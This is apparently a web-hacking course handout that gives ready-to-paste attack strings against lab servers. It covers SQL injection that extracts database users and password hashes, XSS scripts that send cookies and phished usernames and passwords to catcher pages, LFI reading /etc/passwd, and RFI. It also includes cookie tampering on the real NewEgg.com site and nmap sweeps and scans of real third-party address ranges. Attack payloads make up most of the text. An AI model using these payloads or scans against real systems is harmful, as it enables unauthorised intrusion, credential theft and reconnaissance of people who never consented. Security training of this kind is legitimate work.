990
Let's try throwing a single quote (') in there:
991
---------------------------Paste this into Firefox-----------------------------------
992
http://45.77.162.239/bookdetail.aspx?id=2'
993
-------------------------------------------------------------------------------------
994
 
995
I get the following error:
996
 
997
Unclosed quotation mark after the character string ''.
998
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
999
 
1000
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
1001
 
1002
 
1003
 
1004
 
1005
 
1006
 
1007
 
1008
 
1009
 
1010
 
1011
#########################################################################################
1012
# SQL Injection                                                                         #
1013
# https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx            #
1014
#########################################################################################
1015
 
1016
 
1017
- Another quick way to test for SQLI is to remove the parameter value
1018
 
1019
 
1020
#############################
1021
# Error-Based SQL Injection #
1022
#############################
1023
---------------------------Paste these one line at a time into Firefox-----------------------------------
1024
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
1025
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
1026
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
1027
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
1028
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
1029
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
1030
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
1031
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
1032
http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
1033
---------------------------------------------------------------------------------------------------------
1034
 
1035
 
1036
 
1037
 
1038
 
1039
#############################
1040
# Union-Based SQL Injection #
1041
#############################
1042
---------------------------Paste these one line at a time into Firefox-----------------------------------
1043
http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
1044
http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
1045
http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
1046
http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
1047
http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
1048
http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
1049
http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
1050
http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
1051
http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
1052
http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
1053
---------------------------------------------------------------------------------------------------------
1054
 
1055
    We are using a union select statement because we are joining the developer's query with one of our own.
1056
    Reference:
1057
    http://www.techonthenet.com/sql/union.php
1058
    The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
1059
    It removes duplicate rows between the various SELECT statements.
1060
 
1061
    Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
1062
---------------------------Paste these one line at a time into Firefox-----------------------------------
1063
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
1064
---------------------------------------------------------------------------------------------------------
1065
    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
1066
 
1067
---------------------------Paste these one line at a time into Firefox-----------------------------------
1068
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
1069
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
1070
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
1071
http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
1072
---------------------------------------------------------------------------------------------------------
1073
 
1074
 
1075
 
1076
 
1077
- Another way is to see if you can get the backend to perform an arithmetic function
1078
---------------------------Paste these one line at a time into Firefox-----------------------------------
1079
http://45.77.162.239/bookdetail.aspx?id=(2)
1080
http://45.77.162.239/bookdetail.aspx?id=(4-2)  
1081
http://45.77.162.239/bookdetail.aspx?id=(4-1)
1082
---------------------------------------------------------------------------------------------------------
1083
 
1084
- This is some true/false logic testing
1085
---------------------------Paste this into Firefox-----------------------------------
1086
http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
1087
http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
1088
http://45.77.162.239/bookdetail.aspx?id=1*1
1089
http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
1090
http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
1091
http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
1092
http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
1093
http://45.77.162.239/bookdetail.aspx?id=2 &0#
1094
-------------------------------------------------------------------------------------
1095
 
1096
-- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
1097
---------------------------Paste this into Firefox-----------------------------------
1098
http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
1099
http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
1100
http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
1101
http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
1102
---------------------------------------------------------------------------------------
1103
 
1104
 
1105
###############################
1106
# Blind SQL Injection Testing #
1107
###############################
1108
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
1109
     
1110
3 - Total Characters
1111
---------------------------Paste these one line at a time into Firefox-----------------------------------
1112
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
1113
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
1114
http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
1115
---------------------------------------------------------------------------------------------------------
1116
 
1117
Let's go for a quick check to see if it's DBO
1118
---------------------------Paste this into Firefox-----------------------------------
1119
http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
1120
-------------------------------------------------------------------------------------
1121
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
1122
 
1123
D  - 1st Character
1124
---------------------------Paste these one line at a time into Firefox-----------------------------------
1125
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--  
1126
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
1127
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
1128
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
1129
---------------------------------------------------------------------------------------------------------
1130
 
1131
B - 2nd Character
1132
---------------------------Paste these one line at a time into Firefox-----------------------------------
1133
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1134
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1135
---------------------------------------------------------------------------------------------------------
1136
 
1137
O - 3rd Character
1138
---------------------------Paste these one line at a time into Firefox-----------------------------------
1139
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
1140
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
1141
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1142
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1143
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
1144
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--      
1145
http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
1146
---------------------------------------------------------------------------------------------------------
1147
 
1148
 
1149
 
1150
 
1151
1152
#######################
1153
# Attacking PHP/MySQL #
1154
#######################
1155
 
1156
Go to LAMP Target homepage
1157
---------------------------Paste this into Firefox-----------------------------------
1158
http://45.63.104.73/
1159
-------------------------------------------------------------------------------------
1160
 
1161
 
1162
Clicking on the Acer Link:
1163
---------------------------Paste this into Firefox-----------------------------------
1164
http://45.63.104.73/acre2.php?lap=acer
1165
-------------------------------------------------------------------------------------
1166
 
1167
    - Found parameter passing (answer yes to question 1)
1168
    - Insert ' to test for SQLI
1169
 
1170
---------------------------Paste this into Firefox-----------------------------------
1171
http://45.63.104.73/acre2.php?lap=acer'
1172
-------------------------------------------------------------------------------------  
1173
 
1174
Page returns the following error:
1175
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
1176
 
1177
 
1178
 
1179
In order to perform union-based sql injection - we must first determine the number of columns in this query.
1180
We do this using the ORDER BY
1181
---------------------------Paste this into Firefox-----------------------------------
1182
http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
1183
-------------------------------------------------------------------------------------
1184
 
1185
 
1186
Page returns the following error:
1187
Unknown column '100' in 'order clause'
1188
 
1189
 
1190
---------------------------Paste this into Firefox-----------------------------------
1191
http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
1192
-------------------------------------------------------------------------------------  
1193
 
1194
 
1195
Page returns the following error:
1196
Unknown column '50' in 'order clause'
1197
 
1198
 
1199
---------------------------Paste this into Firefox-----------------------------------
1200
http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
1201
-------------------------------------------------------------------------------------
1202
 
1203
Page returns the following error:
1204
Unknown column '25' in 'order clause'
1205
 
1206
 
1207
---------------------------Paste this into Firefox-----------------------------------
1208
http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
1209
-------------------------------------------------------------------------------------
1210
 
1211
Page returns the following error:
1212
Unknown column '12' in 'order clause'
1213
 
1214
 
1215
---------------------------Paste this into Firefox-----------------------------------
1216
http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
1217
-------------------------------------------------------------------------------------
1218
---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
1219
 
1220
 
1221
 
1222
Now we build out the union all select statement with the correct number of columns
1223
 
1224
Reference:
1225
http://www.techonthenet.com/sql/union.php
1226
 
1227
 
1228
---------------------------Paste this into Firefox-----------------------------------
1229
http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
1230
-------------------------------------------------------------------------------------
1231
 
1232
 
1233
 
1234
Now we negate the parameter value 'acer' by turning into the word 'null':
1235
 
1236
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
1237
-------------------------------------------------------------------------------------
1238
 
1239
We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
1240
 
1241
 
1242
Use a cheat sheet for syntax:
1243
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
1244
 
1245
---------------------------Paste these one line at a time into Firefox-----------------------------------
1246
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
1247
 
1248
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
1249
 
1250
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
1251
 
1252
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
1253
 
1254
http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
1255
------------------------------------------------------------------------------------- -------------------
1256
 
1257
 
1258
 
1259
 
1260
Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
1261
 
1262
Here is a good reference for it:
1263
https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
1264
 
1265
Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
1266
 
1267
 
1268
###############################################################################
1269
# What is XSS                                                                 #
1270
# https://s3.amazonaws.com/infosecaddictsfiles/2-Intro_To_XSS.pptx            #
1271
###############################################################################
1272
 
1273
OK - what is Cross Site Scripting (XSS)
1274
 
1275
1. Use Firefox to browse to the following location:
1276
    ---------------------------Paste this into Firefox-----------------------------------
1277
    http://45.63.104.73/xss_practice/
1278
    -------------------------------------------------------------------------------------
1279
 
1280
    A really simple search page that is vulnerable should come up.
1281
 
1282
 
1283
 
1284
 
1285
2. In the search box type:
1286
    ---------------------------Paste this into Firefox-----------------------------------
1287
    <script>alert('So this is XSS')</script>
1288
    -------------------------------------------------------------------------------------
1289
 
1290
 
1291
    This should pop-up an alert window with your message in it proving XSS is in fact possible.
1292
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1293
 
1294
 
1295
3. In the search box type:
1296
    ---------------------------Paste this into Firefox-----------------------------------
1297
    <script>alert(document.cookie)</script>
1298
    -------------------------------------------------------------------------------------
1299
 
1300
 
1301
    This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
1302
    Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/
1303
 
1304
4. Now replace that alert script with:
1305
    ---------------------------Paste this into Firefox-----------------------------------
1306
    <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script>
1307
    -------------------------------------------------------------------------------------
1308
 
1309
This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
1310
 
1311
 
1312
5. Now view the stolen cookie at:
1313
   ---------------------------Paste this into Firefox-----------------------------------
1314
   http://45.63.104.73/xss_practice/cookie_stealer_logs.html
1315
   -------------------------------------------------------------------------------------  
1316
 
1317
The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
1318
 
1319
 
1320
 
1321
 
1322
 
1323
 
1324
############################
1325
# A Better Way To Demo XSS #
1326
############################
1327
 
1328
 
1329
Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
1330
 
1331
 
1332
Use Firefox to browse to the following location:
1333
---------------------------Paste this into Firefox-----------------------------------
1334
    http://45.63.104.73/xss_practice/
1335
-------------------------------------------------------------------------------------  
1336
 
1337
 
1338
Paste this in the search box
1339
----------------------------
1340
 
1341
 
1342
Option 1
1343
--------
1344
---------------------------Paste this into Firefox-----------------------------------
1345
<script>
1346
password=prompt('Your session is expired. Please enter your password to continue',' ');
1347
document.write("<img src=\"http://45.63.104.73/xss_practice/passwordgrabber.php?password=" +password+"\">");
1348
</script>
1349
-------------------------------------------------------------------------------------  
1350
 
1351
Now view the stolen cookie at:
1352
---------------------------Paste this into Firefox-----------------------------------
1353
    http://45.63.104.73/xss_practice/passwords.html
1354
-------------------------------------------------------------------------------------  
1355
 
1356
 
1357
Option 2
1358
--------
1359
-------------------------Paste this into Firefox-----------------------------------
1360
<script>
1361
username=prompt('Please enter your username',' ');
1362
password=prompt('Please enter your password',' ');
1363
document.write("<img src=\"http://45.63.104.73/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
1364
</script>
1365
-------------------------------------------------------------------------------------  
1366
 
1367
 
1368
 
1369
Now view the stolen cookie at:
1370
http://45.63.104.73/xss_practice/username_password_logs.html
1371
 
1372
 
1373
 
1374
 
1375
1376
1377
1378
#######################################
1379
# Playing Around with Session cookies #
1380
#######################################
1381
1382
Step 1: Browse to NewEgg.com
1383
-------------------------Paste this into Firefox-----------------------------------
1384
https://secure.newegg.com/
1385
----------------------------------------------------------------------------------
1386
 
1387
 
1388
Step 2: Browse to the shopping cart page NewEgg.com
1389
-------------------------Paste this into Firefox-----------------------------------
1390
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1391
----------------------------------------------------------------------------------
1392
 
1393
 
1394
Step 3: View the current session ID
1395
-------------------------Paste this into Firefox-----------------------------------
1396
javascript:void(document.write(document.cookie))
1397
------------------------------------------------------------------------------------
1398
 
1399
Step 4: Go back to the shopping cart page (click the back button)
1400
---------------------------------------------------------------------------------
1401
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1402
---------------------------------------------------------------------------------
1403
 
1404
 
1405
Step 5: Now let's modify the session ID
1406
-------------------------Paste this into Firefox-----------------------------------
1407
javascript:void(document.cookie="PHPSessionID=wow-this-is-fun")
1408
------------------------------------------------------------------------------------
1409
 
1410
 
1411
 
1412
Step 6: Go back to the shopping cart page (click the back button)
1413
---------------------------------------------------------------------------------
1414
https://secure.newegg.com/Shopping/ShoppingCart.aspx?Submit=view
1415
---------------------------------------------------------------------------------
1416
 
1417
 
1418
 
1419
Step 7: View the current session ID
1420
-------------------------Paste this into Firefox-----------------------------------
1421
javascript:void(document.write(document.cookie))
1422
-----------------------------------------------------------------------------------
1423
1424
1425
#########################################
1426
# Let's try a local file include (LFI)  #
1427
#########################################
1428
- Here is an example of an LFI
1429
- Open this page in Firefox:
1430
-------------------------Paste this into Firefox-----------------------------------
1431
http://45.63.104.73/showfile.php?filename=contactus.txt
1432
-------------------------------------------------------------------------------------
1433
 
1434
 
1435
- Notice the page name (showfile.php) and the parameter name (filename) and the filename (contactus.txt)
1436
- Here you see a direct reference to a file on the local filesystem of the victim machine.
1437
- You can attack this by doing the following:
1438
-------------------------Paste this into Firefox-----------------------------------
1439
http://45.63.104.73/showfile.php?filename=/etc/passwd
1440
-------------------------------------------------------------------------------------
1441
 
1442
 
1443
- This is an example of a Local File Include (LFI), to change this attack into a Remote File Include (RFI) you need some content from
1444
- somewhere else on the Internet. Here is an example of a text file on the web:
1445
-------------------------Paste this into Firefox-----------------------------------
1446
http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
1447
-------------------------------------------------------------------------------------
1448
 
1449
- Now we can attack the target via RFI like this:
1450
-------------------------Paste this into Firefox-----------------------------------
1451
http://45.63.104.73/showfile.php?filename=http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
1452
-------------------------------------------------------------------------------------
1453
1454
1455
1456
Step 1: Download and Install Nmap
1457
---------------------------------
1458
Windows: https://nmap.org/dist/nmap-7.70-setup.exe
1459
Mac OS X: https://nmap.org/dist/nmap-7.70.dmg
1460
 
1461
Linux:
1462
--- Fedora/CentOS/RHEL:    sudo yum install -y nmap
1463
--- Ubuntu/Mint/Debian:    sudo apt-get install -y nmap
1464
 
1465
 
1466
 
1467
1468
1469
Step 2: Perform basic nmap scans
1470
--------------------------------
1471
1472
########################
1473
# Scanning Methodology #
1474
########################
1475
 
1476
- Ping Sweep
1477
What's alive?
1478
------------
1479
Note: On windows you won't need to use the word "sudo" in front of the command below:
1480
 
1481
---------------------------On Linux or Mac OS X type This-----------------------------------
1482
sudo nmap -sP 157.166.226.*
1483
 
1484
---------------------------or on Windows type:---------------------------------------------
1485
c:\nmap -sP 157.166.226.*
1486
 
1487
--------------------------------------------------------------------------------------------
1488
 
1489
 
1490
 
1491
    -if -SP yields no results try:
1492
Note: On windows you won't need to use the word "sudo" in front of the command below:
1493
---------------------------On Linux or Mac OS X type This-----------------------------------
1494
sudo nmap -sL 157.166.226.*
1495
 
1496
---------------------------or on Windows type:---------------------------------------------
1497
c:\nmap -sL 157.166.226.*
1498
 
1499
------------------------------------------------------------------------------------------
1500
 
1501
 
1502
 
1503
    -Look for hostnames:
1504
Note: On windows you won't need to use the word "sudo" in front of the command below:
1505
---------------------------On Linux or Mac OS X type This-----------------------------------
1506
sudo nmap -sL 157.166.226.* | grep com
1507
 
1508
---------------------------or on Windows type:---------------------------------------------
1509
c:\nmap -sP 157.166.226.* | findstr "cnn"
1510
 
1511
-------------------------------------------------------------------------------------------
1512
 
1513
 
1514
 
1515
- Port Scan
1516
What's where?
1517
------------
1518
Note: On windows you won't need to use the word "sudo" in front of the command below:
1519
---------------------------On Linux or Mac OS X type This-----------------------------------
1520
sudo nmap -sS 162.243.126.247
1521
 
1522
---------------------------or on Windows type:----------------------------------------------
1523
c:\nmap -sS 162.243.126.247
1524
 
1525
--------------------------------------------------------------------------------------------
1526
 
1527
 
1528
 
1529
- Bannergrab/Version Query
1530
What versions of software are running
1531
-------------------------------------
1532
Note: On windows you won't need to use the word "sudo" in front of the command below:
1533
---------------------------On Linux or Mac OS X type This-----------------------------------
1534
sudo nmap -sV 162.243.126.247
1535
 
1536
---------------------------or on Windows type:---------------------------------------------
1537
c:\nmap -sV 162.243.126.247
1538
-------------------------------------------------------------------------------------------
1539
 
1540
 
1541
 
1542
Let's dig into this a little bit more:
1543
-------------------------------------
1544
Note: On windows you won't need to use the word "sudo" in front of the command below:
1545
---------------------------On Linux or Mac OS X type This-----------------------------------
1546
sudo nmap -sV --script=http-headers 162.243.126.247 -p 80,443
1547
 
1548
---------------------------or on Windows type:---------------------------------------------
1549
c:\nmap -sV --script=http-headers 162.243.126.247 -p 80,443
1550
-------------------------------------------------------------------------------------------
1551
 
1552
 
1553
 
1554
- Vulnerability Research
1555
Lookup the banner versions for public exploits
1556
----------------------------------------------
1557
http://exploit-db.com
1558
http://securityfocus.com/bid
1559
https://packetstormsecurity.com/files/tags/exploit/